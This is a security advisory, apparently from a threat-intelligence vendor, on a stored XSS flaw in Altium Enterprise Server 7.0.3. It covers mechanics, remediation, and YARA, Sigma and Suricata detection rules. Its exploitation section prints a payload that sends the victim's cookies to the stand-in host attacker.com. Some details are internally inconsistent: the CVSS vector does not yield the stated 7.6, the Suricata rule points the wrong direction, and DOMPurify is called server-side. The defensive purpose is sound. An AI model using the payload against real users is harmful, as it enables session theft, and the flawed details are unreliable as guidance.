CVE-2025-27380

Executive Summary

CVE-2025-27380 is an HTML injection vulnerability in Altium Enterprise Server (AES) version 7.0.3. An authenticated attacker can inject arbitrary HTML and JavaScript into the Project Release feature, leading to stored cross-site scripting (XSS). This allows the attacker to execute malicious scripts in the context of any victim’s browser who views the crafted release content. The vulnerability has a CVSS score of 7.6 (High) and is currently unpatched. No public exploit code or Nuclei template is available, but the attack vector is straightforward: an authenticated user with release creation privileges can embed malicious HTML in release notes or descriptions.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary enterprise application (Altium Enterprise Server) and does not involve open-source package supply chains.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
• Base Score: 7.6 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker must be authenticated
• User Interaction: Required (UI:R) – victim must view the crafted release
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The threat level is High due to the potential for full compromise of the victim’s browser session, including theft of session cookies, credential harvesting, and lateral movement within the AES environment.

Deep Dive & Mechanics

The vulnerability resides in the Project Release module of Altium Enterprise Server 7.0.3. When an authenticated user creates or edits a project release, the application does not properly sanitize user-supplied HTML content in fields such as release notes, descriptions, or custom metadata. This allows an attacker to inject arbitrary HTML tags, including <script> tags, event handlers (e.g., onload, onerror), or other XSS vectors.

The injected content is stored on the server and later rendered in the browser of any user who views the release details. Since the attacker is authenticated, the injection bypasses any pre-authentication filters. The lack of output encoding or Content Security Policy (CSP) enforcement enables the execution of JavaScript in the victim’s session context.

Attack Flow:

1. Attacker authenticates to AES (e.g., via valid credentials or session hijacking).
2. Attacker navigates to the Project Release creation/editing page.
3. Attacker injects malicious HTML/JavaScript into a release field (e.g., release notes).
4. Victim (another authenticated user or admin) views the release.
5. Malicious script executes in victim’s browser, potentially stealing session tokens, performing actions on behalf of the victim, or exfiltrating data.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable behavior and the expected fix.

Vulnerable Code (Conceptual):

# Example of vulnerable server-side rendering (pseudo-code)
def render_release_notes(release):
    return f"<div>{release.notes}</div>"  # No sanitization

Patched Code (Expected):

# Example of patched server-side rendering (pseudo-code)
import html
def render_release_notes(release):
    safe_notes = html.escape(release.notes)  # HTML-encode all special characters
    return f"<div>{safe_notes}</div>"

The fix should involve proper output encoding (e.g., using html.escape in Python, htmlspecialchars in PHP, or equivalent) and/or implementing a Content Security Policy that restricts script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid authenticated session to AES 7.0.3
• Access to create or edit a project release

Exploit Payload Example:

<script>alert('XSS')</script>

Or a more sophisticated payload to steal cookies:

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Steps:

1. Log in to AES.
2. Navigate to a project and create a new release.
3. In the release notes field, paste the malicious HTML.
4. Save the release.
5. Share the release link with the victim or wait for them to view it.

Expected Result: The victim’s browser executes the injected script.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual HTML tags in release notes fields (e.g., <script>, <iframe>, event handlers).
• Use web application firewall (WAF) rules to block common XSS patterns.
• Enable logging of all release creation/modification events.

Hardening:

• Apply input validation and output encoding on all user-supplied fields.
• Implement a strict Content Security Policy (CSP) that disallows inline scripts.
• Restrict release creation privileges to trusted users only.
• Monitor for anomalous JavaScript execution in browser consoles.

Indicators of Compromise (IOCs)

• Network: HTTP requests to AES endpoints containing <script> tags or event handlers in POST data for release creation.
• Logs: Server logs showing repeated attempts to inject HTML in release notes fields.
• Browser: Unexpected JavaScript execution, pop-ups, or network requests to external domains from AES pages.
• File: No specific file-based IOCs; the attack is purely web-based.

Example IOC (Network):

POST /api/release/create HTTP/1.1
Host: aes.example.com
Content-Type: application/x-www-form-urlencoded

notes=<script>alert(1)</script>&...

Detection Engineering

YARA Rule

rule CVE_2025_27380_HTML_Injection {
    meta:
        description = "Detects HTML injection attempts in Altium Enterprise Server release notes"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-27380"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: CVE-2025-27380 - HTML Injection in Altium Enterprise Server
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTML injection attempts in AES release notes fields
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: altium_enterprise_server
detection:
    selection:
        http.method: POST
        http.url: /api/release/*
        http.body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in release notes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-27380 - HTML Injection in Altium Enterprise Server"; flow:to_server,established; content:"POST"; http_method; content:"/api/release/"; http_uri; pcre:"/<script[^>]*>/i"; pcre:"/onerror\s*=/i"; pcre:"/onload\s*=/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable release creation for non-admin users until a patch is available.
2. Implement a WAF rule to block requests containing <script> tags or event handlers in release notes fields.
3. Enable Content Security Policy (CSP) with script-src 'self' to prevent inline script execution.

Long-Term Fix:

• Apply input validation and output encoding on all user-supplied fields in the Project Release module.
• Upgrade to a patched version once Altium releases it.
• Conduct a security audit of the entire AES application for similar injection flaws.

Workaround:

• Manually sanitize release notes by stripping HTML tags before rendering (e.g., using a server-side HTML sanitizer like DOMPurify).

Valters IT
DevSecOps & Cyber Threat Intelligence